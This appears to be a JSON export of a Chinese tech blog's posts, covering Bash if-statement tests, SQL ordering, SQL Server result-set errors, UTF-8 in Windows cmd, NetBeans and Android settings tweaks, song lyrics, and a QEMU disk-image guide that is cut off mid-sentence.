\u0026#8220;$(whoami)\u0026#8221; != \u0026#8216;root\u0026#8217; ] \u0026amp;\u0026amp; ( echo you are using a non-privileged account; exit 1 )\n类似于如果测试为真就执行的 “\u0026amp;\u0026amp;” 表达式， “||” 指定了测试为假就执行。类似于 “\u0026amp;\u0026amp;” 表达式指明了在两个测试条件为真时所采取的动作，“||” 指明测试为假时所采取的行动。 正则表达式也可以在比较中使用： anny \u0026gt; gender=\"female\" anny \u0026gt; if [[ \"$gender\" == f* ]]More input\u0026gt; then echo \"Pleasure to meet you, Madame.\"; fiPleasure to meet you, Madame. anny \u0026gt;\n真正的程序员 多数程序员更喜欢使用和方括号相同作用的内建的 test 命令，像这样： test \u0026#8220;$(whoami)\u0026#8221; != \u0026#8216;root\u0026#8217; \u0026amp;\u0026amp; (echo you are using a non-privileged account; exit 1) 参见信息页面得到更多关于Bash “(( EXPRESSION ))” 和 “[[ EXPRESSION ]]” 结构的模块匹配信息。 shell if 命令参数说明\n-b 当file存在并且是块文件时返回真\n-c 当file存在并且是字符文件时返回真\n-d 当pathname存在并且是一个目录时返回真\n-e 当pathname指定的文件或目录存在时返回真\n-f 当file存在并且是正规文件时返回真\n-g 当由pathname指定的文件或目录存在并且设置了SGID位时返回为真\n-h 当file存在并且是符号链接文件时返回真，该选项在一些老系统上无效\n-k 当由pathname指定的文件或目录存在并且设置了“粘滞”位时返回真\n-p 当file存在并且是命令管道时返回为真\n-r 当由pathname指定的文件或目录存在并且可读时返回为真\n-s 当file存在文件大小大于0时返回真\n-u 当由pathname指定的文件或目录存在并且设置了SUID位时返回真\n-w 当由pathname指定的文件或目录存在并且可执行时返回真。一个目录为了它的内容被访问必然是可执行的。\n-o 当由pathname指定的文件或目录存在并且被子当前进程的有效用户ID所指定的用户拥有时返回真。\n比较字符写法：\n-eq 等于\n-ne 不等于\n-gt 大于\n-lt 小于\n-le 小于等于\n-ge 大于等于\n-z 空串\n* = 两个字符相等\n* != 两个字符不等\n* -n 非空串\n","permalink":"https://hessian.cn/p/352.html","summary":"第 7 章 条件语句 目录 7.1. 介绍if 7.1.1. 概要 7.1.2. if的简单应用 7.2. 更多if的高级使用方法 7.2.1. if/then/else结构 7.2.2. if/then/elif/else结构 7.2.3. if嵌套语句 7.2.4. 布尔操作 7.2.5. 使用exit语句和if 7.3. 使用case语句 7.3.1. 简单的条件 7.3.2. 初始脚本例子 7.4. 总结 7.5. 练习 摘要 本章我们会讨论在Bash脚本中使用条件，包含以下几个话题： if 语句 使用命令的退出状态 比较和测试输入和文件 if/then/else 结构 if/then/elif/else 结构 使用和测试位置参数 嵌套 if 语句 布尔表达式 使用 case 语句 7.1. 介绍if 7.1.1. 概要 有时候你需要指定shell脚本中的依靠命令的成功与否来实施不同过程的行为。 if 结构允许你来指定这样的条件。 最精简的 if 命令的语法是： if TEST-COMMANDS; then CONSEQUENT-COMMANDS; fi TEST-COMMAND 执行后且它的返回状态是0，那么 CONSEQUENT-COMMANDS 就执行。返回状态是最后一个命令的退出状态，或者当没有条件是真的话为0。 TEST-COMMAND 经常包括数字和字符串的比较测试，但是也可以是任何在成功时返回状态0或者失败时返回一些其他状态的一些命令。一元表达式经常用于检查文件的状态。如果对某个要素primaries， FILE 参数是 /dev/fd/N 这样的形式，那么就检查文件描述符 “N”。stdin, stdout 和 stderr 和他们各自的文件描述符也可以用于测试。 7.1.1.1. 和if使用的表达式 下表包含了一个组成 TEST-COMMAND 命令或者命令列表，称作 “要素primaries” 的概览。这些primaries放置在方括号中来表示一个条件表达式的测试。 表 7.1. 主表达式 Primary 意义 [ -a FILE ] 如果 FILE 存在则为真。 [ -b FILE ] 如果 FILE 存在且是一个块特殊文件则为真。 [ -c FILE ] 如果 FILE 存在且是一个字特殊文件则为真。 [ -d FILE ] 如果 FILE 存在且是一个目录则为真。 [ -e FILE ] 如果 FILE 存在则为真。 [ -f FILE ] 如果 FILE 存在且是一个普通文件则为真。 [ -g FILE ] 如果 FILE 存在且已经设置了SGID则为真。 [ -h FILE ] 如果 FILE 存在且是一个符号连接则为真。 [ -k FILE ] 如果 FILE 存在且已经设置了粘制位则为真。 [ -p FILE ] 如果 FILE 存在且是一个名字管道(F如果O)则为真。 [ -r FILE ] 如果 FILE 存在且是可读的则为真。 [ -s FILE ] 如果 FILE 存在且大小不为0则为真。 [ -t FD ] 如果文件描述符 FD 打开且指向一个终端则为真。 [ -u FILE ] 如果 FILE 存在且设置了SUID (set user ID)则为真。 [ -w FILE ] 如果 FILE 如果 FILE 存在且是可写的则为真。 [ -x FILE ] 如果 FILE 存在且是可执行的则为真。 [ -O FILE ] 如果 FILE 存在且属有效用户ID则为真。 [ -G FILE ] 如果 FILE 存在且属有效用户组则为真。 [ -L FILE ] 如果 FILE 存在且是一个符号连接则为真。 [ -N FILE ] 如果 FILE 存在 and has been mod如果ied since it was last read则为真。 [ -S FILE ] 如果 FILE 存在且是一个套接字则为真。 [ FILE1 -nt FILE2 ] 如果 FILE1 has been changed more recently than FILE2, or 如果 FILE1FILE2 does not则为真。 exists and [ FILE1 -ot FILE2 ] 如果 FILE1 比 FILE2 要老, 或者 FILE2 存在且 FILE1 不存在则为真。 [ FILE1 -ef FILE2 ] 如果 FILE1 和 FILE2 指向相同的设备和节点号则为真。 [ -o OPTIONNAME ] 如果 shell选项 “OPTIONNAME” 开启则为真。 [ -z STRING ] “STRING” 的长度为零则为真。 [ -n STRING ] or [ STRING ] “STRING” 的长度为非零 non-zero则为真。 [ STRING1 == STRING2 ] 如果2个字符串相同。 “=” may be used instead of “==” for strict POSIX compliance则为真。 [ STRING1 != STRING2 ] 如果字符串不相等则为真。 [ STRING1 \u0026lt; STRING2 ] 如果 “STRING1” sorts before “STRING2” lexicographically in the current locale则为真。 [ STRING1 \u0026gt; STRING2 ] 如果 “STRING1” sorts after “STRING2” lexicographically in the current locale则为真。 [ ARG1 OP ARG2 ] “OP” is one of -eq, -ne, -lt, -le, -gt or -ge. These arithmetic binary operators return true if “ARG1” is equal to, not equal to, less than, less than or equal to, greater than, or greater than or equal to “ARG2”, respectively. “ARG1” and “ARG2” are integers. 表达式可以借以下操作符组合起来，以降序列出：listed in decreasing order of precedence: 表 7.2. 组合表达式 操作 效果 [ ! EXPR ] 如果 EXPR 是false则为真。 [ ( EXPR ) ] 返回 EXPR的值。这样可以用来忽略正常的操作符优先级。 [ EXPR1 -a EXPR2 ] 如果 EXPR1 and EXPR2 全真则为真。 [ EXPR1 -o EXPR2 ] 如果 EXPR1 或者 EXPR2 为真则为真。 [ (或作 test) 内建命令对条件表达式使用一系列基于参数数量的规则来求值。更多关于这个主题的信息可以在Bash文档中查找。就像if 使用fi 来结束一样，在条件列完之后必须用\u0026#8221;\u0026gt;\u0026#8221;来结束。 7.1.1.2. 后接then语句的命令 CONSEQUENT-COMMANDS 列出了跟在 then 语句后面可以是任何有效的UNIX命令，任何可执行的程序，任何可执行的shell脚本或者任何shell语句，除了 fi. 。重要地记住 then 和 fi 在shell里面被认为是分开的语句。因此，在命令行上使用的时候，他们用分号隔开。 在脚本中，if语句的不同部分通常是良好分隔的。以下是一些简单的例子： 7.1.1.3. 检查文件 第一个例子检查一个文件是否存在： anny ~\u0026gt; cat msgcheck.sh#!/bin/bash echo \u0026#8220;This scripts checks the existence of the messages file.\u0026#8221;echo \u0026#8220;Checking\u0026#8230;\u0026#8221;if [ -f /var/log/messages ] then echo \u0026#8220;/var/log/messages exists.\u0026#8221;fiechoecho \u0026#8220;\u0026#8230;done.\u0026#8221; anny ~\u0026gt; ./msgcheck.shThis scripts checks the existence of the messages file.Checking\u0026#8230;/var/log/messages exists. \u0026#8230;done.\n7.1.1.4. 检查shell选项 加入到你的Bash配置文件中去： # These lines will print a message if the noclobber option is set: if [ -o noclobber ] then echo \u0026#8220;Your files are protected against accidental overwriting using redirection.\u0026#8221;fi 环境 以上的例子将在命令行输入后开始工作： anny ~\u0026gt; if [ -o noclobber ] ; then echo ; echo \"your files are protectedagainst overwriting.\" ; echo ; fi your files are protected against overwriting. anny ~\u0026gt;\n然而，如果你使用依赖环境的测试，当你在脚本中输入相同的命令你可能得到不用的结果，因为脚本会打开一个新的，没有设置预期的变量和选项的shell。 7.1.2. if的简单应用 7.1.2.1. 测试退出状态 ? 变量包含了之前执行命令的退出状态（最近完成的前台进程）。 以下的例子显示了一个简单的测试： anny ~\u0026gt; if [ $? -eq 0 ]More input\u0026gt; then echo 'That was a good job!'More input\u0026gt; fiThat was a good job! anny ~\u0026gt;\n以下的例子证明了 TEST-COMMANDS 可以是任何有返回和退出状态的UNIX命令，之后 if 再次返回零的退出状态： anny ~\u0026gt; if ! grep $USER /etc/passwdMore input\u0026gt; then echo \"your user account is not managed locally\"; fiyour user account is not managed locally anny \u0026gt; echo $?0 anny \u0026gt;\n以下能得到同样的结果： anny \u0026gt; grep $USER /etc/passwd anny \u0026gt; if [ $? -ne 0 ] ; then echo \"not a local account\" ; finot a local account anny \u0026gt;\n7.1.2.2. 数字的比较 以下的例子是用了数值的比较： anny \u0026gt; num=`wc -l work.txt` anny \u0026gt; echo $num201 anny \u0026gt; if [ \"$num\" -gt \"150\" ]More input\u0026gt; then echo ; echo \"you've worked hard enough for today.\"More input\u0026gt; echo ; fi you\u0026#8217;ve worked hard enough for today. anny \u0026gt;\n这个脚本在每个星期天由cron来执行。如果星期的数是偶数，他就提醒你把垃圾箱清理： #!/bin/bash # Calculate the week number using the date command: WEEKOFFSET=$[ $(date +\u0026#8221;%V\u0026#8221;) % 2 ] # Test if we have a remainder. If not, this is an even week so send a message.# Else, do nothing. if [ $WEEKOFFSET -eq \u0026#8220;0\u0026#8221; ]; then echo \u0026#8220;Sunday evening, put out the garbage cans.\u0026#8221; | mail -s \u0026#8220;Garbage cans out\u0026#8221; your@your_domain.org 7.1.2.3. 字符串比较 一个通过比较字符串来测试用户ID的例子： if [ \u0026#8220;$(whoami)\u0026#8221; != \u0026#8216;root\u0026#8217; ]; then echo \u0026#8220;You have no permission to run $0 as non-root user.\u0026#8221; exit 1;fi\n使用Bash，你可以缩短这样的结构。下面是以上测试的精简结构： [ \u0026#8220;$(whoami)\u0026#8221; != \u0026#8216;root\u0026#8217; ] \u0026amp;\u0026amp; ( echo you are using a non-privileged account; exit 1 )\n类似于如果测试为真就执行的 “\u0026amp;\u0026amp;” 表达式， “||” 指定了测试为假就执行。类似于 “\u0026amp;\u0026amp;” 表达式指明了在两个测试条件为真时所采取的动作，“||” 指明测试为假时所采取的行动。 正则表达式也可以在比较中使用： anny \u0026gt; gender=\"female\" anny \u0026gt; if [[ \"$gender\" == f* ]]More input\u0026gt; then echo \"Pleasure to meet you, Madame.\"; fiPleasure to meet you, Madame. anny \u0026gt;\n真正的程序员 多数程序员更喜欢使用和方括号相同作用的内建的 test 命令，像这样： test \u0026#8220;$(whoami)\u0026#8221; != \u0026#8216;root\u0026#8217; \u0026amp;\u0026amp; (echo you are using a non-privileged account; exit 1) 参见信息页面得到更多关于Bash “(( EXPRESSION ))” 和 “[[ EXPRESSION ]]” 结构的模块匹配信息。 ","title":"【转】bash shell if 命令参数说明"},{"content":"A common question on the mailing lists is how to sort results in a particular order. Just use the FIELD function:\nSELECT * FROM tickets\nORDER BY FIELD(priority, \u0026#8216;High\u0026#8217;, \u0026#8216;Normal\u0026#8217;, \u0026#8216;Low\u0026#8217;, \u0026#8216;The Abyss\u0026#8217;);\n","permalink":"https://hessian.cn/p/537.html","summary":"A common question on the mailing lists is how to sort results in a particular order. Just use the FIELD function:\nSELECT * FROM tickets\nORDER BY FIELD(priority, \u0026#8216;High\u0026#8217;, \u0026#8216;Normal\u0026#8217;, \u0026#8216;Low\u0026#8217;, \u0026#8216;The Abyss\u0026#8217;);\n","title":"How to sort results in a particular order"},{"content":"最近要写个从SQLSERVER导出数据的程序。 我很少用SQLSERVER，不熟悉，结果写的时候碰上个诡异的问题。\nSQLSTATE[IMSSP]: The connection cannot process this operation because there is a statement with pending results. To make the connection available for other queries, either fetch all results or cancel or free the statement. For more information, see the product documentation about the MultipleActiveResultSets connection option.\n\u0026nbsp;\n用了那么久MYSQL和ORACLE，我还真不知道多结果集支持还需要手动开启。。。好吧，查了一下MS的文档，把参数给加上了。。。你妹啊！！ 还是不行，问题依旧。赶紧搜索引擎，结果居然得到一个2B的提示。。。MultipleActiveResultSets is only supported by SQL Server 2005。。。\n我了个去。。。这玩意SQLSERVER2000居然不支持。。。他妹的。。。你说我这要是几十万万条记录的往外取不得玩死我啊？\n","permalink":"https://hessian.cn/p/358.html","summary":"最近要写个从SQLSERVER导出数据的程序。 我很少用SQLSERVER，不熟悉，结果写的时候碰上个诡异的问题。\nSQLSTATE[IMSSP]: The connection cannot process this operation because there is a statement with pending results. To make the connection available for other queries, either fetch all results or cancel or free the statement. For more information, see the product documentation about the MultipleActiveResultSets connection option.\n","title":"SQL SERVER MultipleActiveResultSets"},{"content":"如何在DOS窗口中显示UTF-8字符\n作者：终南\u0026nbsp;\u0026nbsp; \u0026lt;li.zhongnan@hotmail.com\u0026gt;\n在中文Windows系统中，如果一个文本文件是UTF-8编码的，那么在CMD.exe命令行窗口（所谓的DOS窗口）中不能正确显示文件中的内容。在默认情况下，命令行窗口中使用的代码页是中文或者美国的，即编码是中文字符集或者西文字符集。\n如果想正确显示UTF-8字符，可以按照以下步骤操作：\n1、打开CMD.exe命令行窗口\n2、通过 chcp命令改变代码页，UTF-8的代码页为65001\nchcp 65001\n执行该操作后，代码页就被变成UTF-8了。但是，在窗口中仍旧不能正确显示UTF-8字符。\n3、修改窗口属性，改变字体\n在命令行标题栏上点击右键，选择\u0026#8221;属性\u0026#8221;-\u0026gt;\u0026#8221;字体\u0026#8221;，将字体修改为True Type字体\u0026#8221;Lucida Console\u0026#8221;，然后点击确定将属性应用到当前窗口。\n这时使用type命令就可以显示UTF-8文本文件的内容了：\ntype filename.txt\n4、通过以上操作并不能完全解决问题，因为显示出来的内容有可能不完全。可以先最小化，然后最大化命令行窗口，文件的内容就完整的显示出来了。 ","permalink":"https://hessian.cn/p/378.html","summary":"如何在DOS窗口中显示UTF-8字符\n作者：终南\u0026nbsp;\u0026nbsp; \u0026lt;li.zhongnan@hotmail.com\u0026gt;\n在中文Windows系统中，如果一个文本文件是UTF-8编码的，那么在CMD.exe命令行窗口（所谓的DOS窗口）中不能正确显示文件中的内容。在默认情况下，命令行窗口中使用的代码页是中文或者美国的，即编码是中文字符集或者西文字符集。\n","title":"windows cmd 下看utf8文本"},{"content":"Menu Help -\u0026gt; Check Updates -\u0026gt; Source -\u0026gt;Third Party SQL Developer Exensions \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n","permalink":"https://hessian.cn/p/648.html","summary":"Menu Help -\u0026gt; Check Updates -\u0026gt; Source -\u0026gt;Third Party SQL Developer Exensions \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.\n","title":"How to Create SQL Server Connection in SQL Developer"},{"content":" Netbeans 5.5 界面英文问题解决\n从昨晚搞到现在。Netbeans的界面语言问题终于解决了。\n问题：从官网下载的netbeans不论是中文版还是英文版默认的操作界面都是中文，并且字体十分恶心。\n目标效果：把界面语言改成英文并使系统正常支持中文。\n解决办法：\n进入netbeans-5.5etc ，其中netbeans-5.5为netbeans的安装路径。\n编辑netbeans.conf\n将其中的#command line switchs下面那行变为：\nnetbeans_default_options=\u0026#8221;-J-Xms128m -J-Xmx256m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -J-Xverify:none -J-Dapple.laf.useScreenMenuBar=true -J-Duser.language=zh -J-Duser.country=US \u0026#8211;fontsize 13\u0026#8243;\n说明：\n关于前面几个参数的解释可以参照netbeans的guide：\nhttp://www.netbeans.org/kb/55/using-netbeans/configuring.html#pgfId-1158626\n后面的几个参数-J-Duser.language=zh -J-Duser.country=US \u0026#8211;fontsize 13是调用java的本身系统属性，设置语言为中文，国家为美国。这点很重要！\n国家是美国使netbeans的界面为英文，而语言为中文使netbeans可以支持中文，如果只需要英文则可以把language设为en，不过在调用file browser的时候会发现左边一系列windows特性的中文按钮都回变成乱码。\n在netbeans的toolsoptionsfonts\u0026amp;colorssyntax下的language选项设置all languages的default的字体为一个能够支持中文的字体，如：Microsoft YaHei\n","permalink":"https://hessian.cn/p/596.html","summary":" Netbeans 5.5 界面英文问题解决\n从昨晚搞到现在。Netbeans的界面语言问题终于解决了。\n问题：从官网下载的netbeans不论是中文版还是英文版默认的操作界面都是中文，并且字体十分恶心。\n目标效果：把界面语言改成英文并使系统正常支持中文。\n解决办法：\n进入netbeans-5.5etc ，其中netbeans-5.5为netbeans的安装路径。\n编辑netbeans.conf\n将其中的#command line switchs下面那行变为：\nnetbeans_default_options=\u0026#8221;-J-Xms128m -J-Xmx256m -J-XX:PermSize=32m -J-XX:MaxPermSize=160m -J-Xverify:none -J-Dapple.laf.useScreenMenuBar=true -J-Duser.language=zh -J-Duser.country=US \u0026#8211;fontsize 13\u0026#8243;\n说明：\n关于前面几个参数的解释可以参照netbeans的guide：\nhttp://www.netbeans.org/kb/55/using-netbeans/configuring.html#pgfId-1158626\n后面的几个参数-J-Duser.language=zh -J-Duser.country=US \u0026#8211;fontsize 13是调用java的本身系统属性，设置语言为中文，国家为美国。这点很重要！\n国家是美国使netbeans的界面为英文，而语言为中文使netbeans可以支持中文，如果只需要英文则可以把language设为en，不过在调用file browser的时候会发现左边一系列windows特性的中文按钮都回变成乱码。\n在netbeans的toolsoptionsfonts\u0026amp;colorssyntax下的language选项设置all languages的default的字体为一个能够支持中文的字体，如：Microsoft YaHei\n","title":"【转】编程语言/JAVA 转 Netbeans 5.5 界面英文问题解决"},{"content":"文件: /data/data/com.motorola.android.providers.settings/databases/settings.db\n第105项，‘sms_force_7bit_encoding’,值由‘1’改成‘0’ ；\n第107项，‘force_only_market_apps’, 值由‘1’ 改成 ‘0’；\n\u0026nbsp;\n\u0026nbsp;\n","permalink":"https://hessian.cn/p/543.html","summary":"文件: /data/data/com.motorola.android.providers.settings/databases/settings.db\n第105项，‘sms_force_7bit_encoding’,值由‘1’改成‘0’ ；\n第107项，‘force_only_market_apps’, 值由‘1’ 改成 ‘0’；\n","title":"Atrix 4G 英文ROM发中文短信解决办法/Unkown Source APK 许可"},{"content":"dream scape\n「ツバサ・クロニクル」 插入歌\n作曲・编曲・作词：梶浦由记\n歌：FictionJunction Featuring KAORI\n见たことのない草の海が\n银色に揺れてざわめいて\n梦と现の境目あたりの景色\n君に出会うため？\nそれともまだ见ない谁かの瞳のため\n风を分けてゆく\ndream scape\nもうすぐ鸣るね、目覚ましの音\nでもその先もまだ梦かもしれないね\n大事なものは何処にいたってあまり変わらないよね\n目覚めてもまだここにいようと思うよ\nそれが勇気というものかとも思うよ\nsittin’ in the silence…\neverlasting night breeze…\n(I believe… I deceive… I relieve…)\n暗すぎて见えないだけさ……\nin my…\n泣きたくなくて放ってあった胸のササクレに\n今顷追いかけられて息もつけなくて\nしがみついていた真実がボロボロに枯れて落ちるまで\n今ちょっと见えないだけさ・・・\n现実だって梦だって君を迷わせるだけだからさ\n坂道の上の曲がり角、几つでもその先に行きたい\n音楽の中にしか无い风景の向こうへ\n暗すぎで见えないだけさ\n梦の続きには梦が\n七色の迷路みたいに\n音阶のない草笛に歌を见つけるために\n広すぎて目がくらんでも\n歌いすぎて喉がかれても\n见たことのない草の海を\nたとえ君がいなくなっても\n暗すぎて见えないだけさ・・・\ndream scape\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\ndream scape\nMi ta ko to no na I ku sa no u mi ga\nGi n I ro ni yu re te za wa me I te\nYume to u tsu tsu no sa ka I me a ta ri no ke shi ki\nKimi ni te a u ta me?\nSo re to mo ma ta mi na i da re ka no hi to mi no ta me\nKaze o wa ke te yu ku\nDream scape\nMou su gu me I ru ne me za ma shi no o to\nTe mo so no sa ki mo ma da yume ka mo shi re na I ne\nDa I ji na mo no ha do ko ni I tatte a ma ri ka wa ra na I yo ne\nMe za me te mo ma da ko ko ni I yo u yo o mo u yo\nSo re ga yu u ki to I u mo no ka to mo o mo u yo\nSittin\u0026#8217; in the silence\u0026#8230; everlasting night breeze\u0026#8230;\n(I believe\u0026#8230; I deceive\u0026#8230; I relieve\u0026#8230;)\nKu ra su gi te mi e na I da ke sa, in my\u0026#8230;\nNa ki ta ku na ku te houtte atta mu ne no sa sa ku re ni\nI ma do ro o I ka ke ra re te I ki mo tsu ke na ku te\nShi ga mi tsu I te I ta shi n ji tsu ga bo ro bo ro ni ka re te o chi ru ma te\nI ma chi yo tsu to mi te na I da ke sa\u0026#8230;\nGe n ji tsu da tsu te yume da tsu te kimi o ma yo wa se ru da ke da ka ra sa\nSa ka mi chi no u e no ma ga ri ka do\nI ku tsu te mo so no sa ki ni yu ki ta I\nO n ga ku no na ka ni shi ka na I fu u he I no mu ko u he\nKu ra su gi te mi e na I da ke sa\nYume no tsu zu ki ni ha yume ga\nNa na I ro no me I romita I ni\nO n ka I no na I ku sa fu u e ni u ta o mi tsu ke ru ta me ni\nHi ro su gi te me ga ku ra n te mo\nU ta I su gi te nodo ga ka re te mo\nMi ta ko to no ma I ku sa no u mi o\nTa to e kimi ga I na ku natte mo\nKu ra su gi te mi e na I da ke sa\u0026#8230;\nSittin\u0026#8217; in the silence\u0026#8230; everlasting night breeze\u0026#8230;\n(I believe\u0026#8230; I deceive\u0026#8230; I relieve\u0026#8230;)\nDream scape\u0026#8212;\u0026#8212;\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\ndream scape\n「翼・年代记」插曲\n作曲・编曲・作词：梶浦由记\n歌：FictionJunction Featuring KAORI\n陌生的草之海洋\n闪耀着点点银光 沙沙作响地摇动着\n位于梦境和现实的边界的景色\n是为了和你相遇？\n还是为了未知的某人的眼瞳\n迎风而行\ndream scape\n闹钟的铃声立刻就会响起\n但在那之后 或许仍然是梦境\n重要的东西无论身在何处都不会改变\n即使从梦中醒来 我也依然想留在这里\n我想这大概就是所谓的勇气吧\nsittin’ in the silence…\neverlasting night breeze…\n(I believe… I deceive… I relieve…)\n仅仅是由于太暗而无法看到……\nin my…\n因为不想哭泣 而将心中的慌乱置之不理\n现在却反被慌乱压迫着 连呼吸都感到困难\n直到紧紧依存着的真理枯萎掉落为止\n现在只是看不到而已……\n因为无论现实还是梦想 都只会令你迷失\n想要越过坡道上的无数转弯\n向着只存在于音乐中的景色\n仅仅是由于太暗而无法看到\n梦想的延续仍然是梦想\n仿佛七彩的迷宫一般\n为了在缺乏音阶的草笛中发现旋律\n即使为无边的广阔感到目眩\n即使歌唱至喉咙干枯\n即使你已经不在这里\n仅仅是由于太暗而无法看到那\n陌生的草之海洋……\ndream scape\n\u0026nbsp;\n\u0026nbsp;\n来源：http://zhidao.baidu.com/question/28142559.html\n","permalink":"https://hessian.cn/p/565.html","summary":"dream scape\n「ツバサ・クロニクル」 插入歌\n作曲・编曲・作词：梶浦由记\n歌：FictionJunction Featuring KAORI\n见たことのない草の海が\n银色に揺れてざわめいて\n梦と现の境目あたりの景色\n","title":"[转] Dream Scape – Yuki Kajiura 歌词（日文 罗马音 中文翻译）"},{"content":" src:http://fanchi.javaeye.com/blog/315875\n\u0026nbsp;\n找到 etcnetbeans.conf\n添加-J-Dfile.encoding=UTF-8参数\nnetbeans_default_options=\u0026#8221;-J-Dfile.encoding=UTF-8\n","permalink":"https://hessian.cn/p/511.html","summary":" src:http://fanchi.javaeye.com/blog/315875\n\u0026nbsp;\n找到 etcnetbeans.conf\n添加-J-Dfile.encoding=UTF-8参数\nnetbeans_default_options=\u0026#8221;-J-Dfile.encoding=UTF-8\n","title":"[转]netbeans 输出窗口中文乱码解决方法"},{"content":"QEMU/Images\n‍\nFrom Wikibooks, the open-content textbooks collection \u0026lt; QEMU Jump to: navigation, search Once\nQEMU has been installed, and kqemu compiled and configured, it should\nbe ready to run a guest OS from a virtual disc image. A disc image is a\nfile that represents the data on a hard disc. From the perspective of\nthe guest OS, it actually is a hard disc, and the guest OS can actually\ncreate its own filesystem on the virtual disc.\nYou can download a few guest OS images from the QEMU website, including a simple 8MB image of a Linux distro. To run it, download and unzip the image in a folder and run the QEMU command.\nqemu linux-0.2.img\nReplace linux-0.2.img\nwith the name of your guest OS image file. If it has a GUI and you want\nto use your mouse with it, double-click on the window and QEMU will\ngrab your mouse. To make QEMU release your mouse again, hold down the\nControl and Alt keys simultaneously, then let go \u0026#8211; your mouse will be\nreleased back to X.\nContents[hide] 1Image types Image types\nQEMU supports several image types. The \u0026#8220;native\u0026#8221; and most flexible type is qcow2, which supports copy on write, encryption, compression, and VM snapshots.\nIf you need to copy files to and from the image directly from the host, however, you need to use the raw image type.\nQEMU currently supports these image types or formats:\nraw Creating an image\nTo set up your own guest OS image, you first need to create a blank disc image. QEMU has the qemu-img\ncommand for creating and manipulating disc images, and supports a\nvariety of formats. If you don\u0026#8217;t tell it what format to use, it will use\nraw files. The \u0026#8220;native\u0026#8221; format for QEMU is qcow2, and this format\noffers some flexibility. Here we\u0026#8217;ll create a 3GB qcow2 image to install\nWindows XP on:\nqemu-img create -f qcow2 winxp.img 3GB\nThe\neasiest way to install a guest OS is to create an ISO image of a boot\nCD/DVD and tell QEMU to boot off it. Many free operating systems can be\ndownloaded from the Internet as bootable ISO images, and you can use\nthem directly without having to burn them to disc.\nHere\nwe\u0026#8217;ll boot off an ISO image of a properly licensed Windows XP boot\ndisc. We\u0026#8217;ll also give it 256MB of RAM, but we won\u0026#8217;t use the kqemu kernel\nmodule just yet because it causes problems during Windows XP\ninstallation.\nqemu -m 256 -hda winxp.img -cdrom winxpsp2.iso -boot d\nTo boot from a real CD or DVD, tell QEMU where to find it. On Linux systems, you can usually use a logical device name like /dev/cdrom or /dev/dvd, or the physical name of the device, e.g. /dev/sr0\nqemu -m 256 -hda winxp.img -cdrom /dev/cdrom -boot d\nQEMU\nwill boot from the ISO image or CD/DVD and run the install program. If\nyou have two screens, move the QEMU screen off to the spare one where\nyou can keep an eye on the installer, but get on with something else \u0026#8211;\nit will take a while!\nOnce\nthe guest OS has installed successfully, you can shutdown the guest OS\n(e.g. in Windows XP, click on Start and then Shutdown). Once it has\nshutdown, start QEMU up with the kqemu kernel module to give it a little\nmore speed.\nqemu -m 256 -hda winxp.img -cdrom winxpsp2.iso -kernel-kqemu\nIf you are running an x86-64 Linux (i.e. 64-bit), you will need to run the x86-64 version of QEMU to be able to utilise kqemu:\nqemu-system-x86_64 -m 256 -hda winxp.img -cdrom winxpsp2.iso -kernel-kqemu\nUsing multiple images\nQEMU\ncan utilise up to four image files to present multiple virtual drives\nto the guest system. This can be quite useful, as in the following\nexamples:\na pagefile or swapfile virtual disc that can be shared between QEMU guests\nBear in mind that only one instance of QEMU may access an image at a time \u0026#8211; shared doesn\u0026#8217;t mean shared simultaneously!\nTo utilise additional images in QEMU, specify them on the command line with options -hda, -hdb, -hdc, -hdd.\nqemu -m 256 -hda winxp.img -hdb pagefile.img -hdc testdata.img -hdd tempfiles.img -kernel-kqemu\nNB:\nQEMU doesn\u0026#8217;t support both -hdc and -cdrom at the same time, as they\nboth represent the first device on the second IDE channel.\nCopy on write\nThe \u0026#8220;cow\u0026#8221; part of qcow2 is an acronym for copy on write,\na neat little trick that allows you to set up an image once and use it\nmany times without changing it. This is ideal for developing and testing\nsoftware, which generally requires a known stable environment to start\noff with. You can create your known stable environment in one image, and\nthen create several disposable copy-on-write images to work in.\nTo start a new disposable environment based on a known good image, invoke the qemu-img\ncommand with the option -b and tell it what image to base its copy on.\nWhen you run QEMU using the disposable environment, all writes to the\nvirtual disc will go to this disposable image, not the base copy.\nqemu-img create -f qcow2 -b winxp.img test01.img 3GB\nqemu -m 256 -hda test01.img -kernel-kqemu \u0026amp;\nNB:\ndon\u0026#8217;t forget to copy any important data out of the disposable\nenvironment before deleting it. When developing and testing software in\ncopy-on-write virtual environments, it is a good idea to use version control software like Subversion or CVS\non a server external to your virtual environment. Not only is it easy\nto keep copies of your work outside your virtual environment, it is also\nvery easy to set up a new virtual environment from version control.\nMounting an image on the host\nSometimes\nit is helpful to be able to mount a drive image under the host system.\nFor example, if the guest doesn\u0026#8217;t have network support, the only way to\ntransfer files into and out of the guest will be by the storage devices\nit can address.\nLinux and other Unix-like hosts can mount images created with the raw format type using a loopback device. From a root login (or using sudo), mount a loopback with an offset of 32,256.\nmount -o loop,offset=32256 /path/to/image.img /mnt/mountpoint\nFor example, to copy some files across to a FreeDOS hard drive image:\nmkdir -p /mnt/freedos\nmount -o loop,offset=32256 freedos-c.img /mnt/freedos\ncp oldgames /mnt/freedos\numount /mnt/freedos\nNB: never mount a QEMU image while QEMU is using it, or you are likely to corrupt the filesystem on the image.\nNote:\nif you have an image without partitions you should omit the\n,offset=32256 part. This is for instance the case if you want to mount\nlinux-0.2.img (which can be found at the qemu web site at the time of\nwriting)\nGetting information\nThe qemu-img program can tell you about the format, virtual size, physical size, and snapshots inside an image.\n$ qemu-img info test.vmdk\n(VMDK) image open: flags=0x2 filename=test.vmdk\nimage: test.vmdk\nfile format: vmdk\nvirtual size: 20M (20971520 bytes)\ndisk size: 17M\nConverting image formats\nThe qemu-img\nprogram can be used to convert images from one format to another, or\nadd compression or encryption to an image. Specify the source and target\nfiles for the image, and select from the following options:\n-f – optional, specify the format of the input file 